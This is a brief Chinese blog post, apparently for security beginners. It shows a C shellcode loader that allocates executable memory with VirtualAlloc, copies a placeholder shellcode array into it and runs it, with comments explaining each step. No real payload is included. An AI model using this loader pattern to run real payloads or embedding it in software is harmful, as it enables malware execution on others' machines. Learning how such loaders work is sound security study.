论安全萌新的自我修养

   :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理
#include <Windows.h>
#include <stdio.h>
using namespace std;
//核心VirtualAlloc分配内存,memcpy将shellcode丢入内存中,最后执行shellcode
int main(int argc, char **argv) {
	char ShellCode[] = "\0x0x0x0x0x0x0x......"; 
	void *exec = VirtualAlloc(0, sizeof ShellCode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	//从0分配内存地址,占用的大小为shellcode的大小,为指定的保留内存页分配内存费用,属性可读可写可执行
	memcpy(exec, ShellCode, sizeof ShellCode);
	//指向exec这个数组,复制shellcode进去,字节数量为shellcode的大小
	((void(*)())exec)();
	return 0;
}
posted on 2021-02-12 12:13  Yangsir34  阅读(300)  评论(0编辑  收藏  举报